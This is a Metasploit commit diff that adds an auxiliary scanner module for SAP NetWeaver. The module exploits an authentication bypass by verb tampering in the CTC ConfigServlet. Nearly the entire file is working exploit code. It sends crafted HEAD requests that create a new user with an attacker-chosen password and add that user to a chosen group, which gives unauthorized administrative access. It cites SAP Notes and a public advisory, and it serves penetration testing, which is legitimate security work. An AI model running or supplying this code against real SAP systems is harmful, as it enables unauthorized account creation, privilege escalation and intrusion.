Land rapid7#1652, @nmonkee's SAP CTC Verb Tampering for User Mgmt module

Author: jvazquez-r7

modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_add_user_and_add_role.rb

@@ -0,0 +1,79 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module is based on, inspired by, or is a port of a plugin available in
+# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
+# http://www.onapsis.com/research-free-solutions.php.
+# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
+# in producing the Metasploit modules and was happy to share his knowledge and
+# experience - a very cool guy.
+#
+# The following guys from ERP-SCAN deserve credit for their contributions -
+# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
+# Dmitry Evdokimov.
+#
+# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
+# who have Beta tested the modules and provided excellent feedback. Some people
+# just seem to enjoy hacking SAP :)
+##
+
+require 'msf/core'
+
+class Metasploit4 < Msf::Auxiliary
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Auxiliary::Report
+	include Msf::Auxiliary::Scanner
+
+	def initialize
+		super(
+			'Name' => 'SAP CTC Service Verb Tampering (add user and add role)',
+			'Description' => %q{
+									This module exploits an authentication bypass vulnerability in SAP NetWeaver CTC service.
+									The service is vulnerable to verb tampering and allows for unauthorised user management.
+									SAP Note 1589525, 1624450 / DSECRG-11-041.
+								},
+			'References' => [['URL','http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/']],
+			'Author' => ['nmonkee'],
+			'License' => MSF_LICENSE
+			)
+
+		register_options([
+			OptString.new('USER', [true, 'Username', nil]),
+			OptString.new('PASS', [true, 'Password', nil]),
+			OptString.new('GROUP', [true, 'Group', nil])
+			], self.class)
+	end
+
+	def run_host(ip)
+		uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USER'] + ',PASSWORD=' + datastore['PASS']
+		send_request(uri)
+		uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USER'] + ',GROUPNAME=' + datastore['GROUP']
+		send_request(uri)
+	end
+
+	def send_request(uri)
+		begin
+			print_status("[SAP] #{rhost}:#{rport} - sending request")
+			res = send_request_raw({
+				'uri' => uri,
+				'method' => 'HEAD',
+				'headers' =>{
+					'Cookie' => 'sap-usercontext=sap-language=EN',
+					'Content-Type' => 'text/xml; charset=UTF-8',}
+				}, 45)
+			if res
+				vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
+				vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
+				vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
+			end
+			rescue ::Rex::ConnectionError
+				print_error("#{rhost}:#{rport} - Unable to connect")
+				return
+			end
+		end
+	end